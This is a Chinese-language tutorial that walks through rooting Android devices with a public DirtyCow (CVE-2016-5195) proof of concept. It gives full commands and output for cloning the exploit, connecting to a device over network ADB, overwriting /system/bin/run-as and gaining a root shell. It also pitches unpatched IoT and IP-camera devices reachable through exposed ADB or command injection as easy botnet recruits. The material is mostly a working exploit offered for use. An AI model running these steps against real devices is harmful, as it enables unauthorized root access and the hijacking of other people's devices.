髒牛 DirtyCow(CVE-2016-5195) 是一個威力十足的 Linux 提權弱點，雖然發布時間已有些時日，大多數主機也都修補了這個弱點，但還有一種類型的設備十分容易受到這個弱點的影響，那就是 Android 設備。
在 Android 手機上， DirtyCow 主要作為 root 手機的一種手段，然而 Android 不只用於手機，實際上也用於嵌入式裝置 (IoT/IP Cam 之類的)，這些設備使用 Android 加速其開發與部屬能力，同時間也是較少上 Kernel Patch 的設備，只要找到了 ADB(Android Debug Bridge) 或 Command Injection 之類的弱點，整台設備端去當 Bot 不是夢 (x
DirtyCow 的 Payload 可以透過 NDK (Native Development Kit) 編譯，接著遞送到 Android 設備上。
這邊介紹一個 Git Project – CVE-2016-5195 (dirtycow/dirtyc0w) proof of concept for Android，這個專案是一個在 Android 上利用 DirtyCow 的概念驗證，使用步驟如下
1. 準備一個已經安裝 ADB 與 NDK 的 Linux 電腦
2. 下載專案
cd /tmp
git clone https://github.com/timwr/CVE-2016-5195.git
cd /tmp/CVE-2016-5195
3. ADB 連接裝置 (此處使用 10.10.10.10:5555 為例)
adb connect 10.10.10.10:5555
adb devices
若連接成功會顯示下列訊息
List of devices attached
10.10.10.10:5555 device
4. 編譯並利用弱點
make root
執行結果如下
ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_ABI=arm64-v8a APP_PLATFORM=android-22
make[1]: Entering directory '/keniver/tmp/CVE-2016-5195'
[arm64-v8a] Install : dirtycow => libs/arm64-v8a/dirtycow
[arm64-v8a] Install : run-as => libs/arm64-v8a/run-as
make[1]: Leaving directory '/keniver/tmp/CVE-2016-5195'
adb push libs/arm64-v8a/dirtycow /data/local/tmp/dcow
libs/arm64-v8a/dirtycow: 1 file pushed. 0.4 MB/s (14320 bytes in 0.031s)
adb shell 'chmod 777 /data/local/tmp/dcow'
adb shell 'chmod 777 /data/local/tmp/dcow'
adb push libs/arm64-v8a/run-as /data/local/tmp/run-as
libs/arm64-v8a/run-as: 1 file pushed. 0.6 MB/s (10224 bytes in 0.017s)
adb shell '/data/local/tmp/dcow /data/local/tmp/run-as /system/bin/run-as'
WARNING: linker: /data/local/tmp/dcow: unused DT entry: type 0x6ffffffe arg 0xa38
WARNING: linker: /data/local/tmp/dcow: unused DT entry: type 0x6fffffff arg 0x1
dcow /data/local/tmp/run-as /system/bin/run-as
warning: new file size (10224) and destination file size (9768) differ
corruption?
[*] size 10224
[*] mmap 0x7faac2b000
[*] currently 0x7faac2b000=10102464c457f
[*] using /proc/self/mem method
[*] madvise = 0x7faac2b000 10224
[*] madvise = 0 16777216
[*] /proc/self/mem 447381792 43758
[*] exploited 0 0x7faac2b000=10102464c457f
5. 提權成為 root
透過 adb shell 執行 id ，確認自己目前的帳號與群組
adb shell id
結果如下
uid=2000(shell) gid=2000(shell) groups=1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats) context=u:r:shell:s0
執行下列指令進行提權
adb shell /system/bin/run-as
結果如下
WARNING: linker: /system/bin/run-as: unused DT entry: type 0x6ffffffe arg 0x788
WARNING: linker: /system/bin/run-as: unused DT entry: type 0x6fffffff arg 0x2
uid /system/bin/run-as 2000
uid 0
0 u:r:runas:s0
context 0 u:r:shell:s0
root@msm8952_64:/ # id
id
uid=0(root) gid=0(root) groups=1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats) context=u:r:shell:s0
變成 root 啦～
障礙排除
1. error: no devices/emulators found
adb 沒有連接到任何裝置，可以通過 adb devices 檢查一下有無正常連線
2. make: ndk-build: No such file or directory
電腦尚未安裝 NDK 或者 沒有正確設定 NDK 到 PATH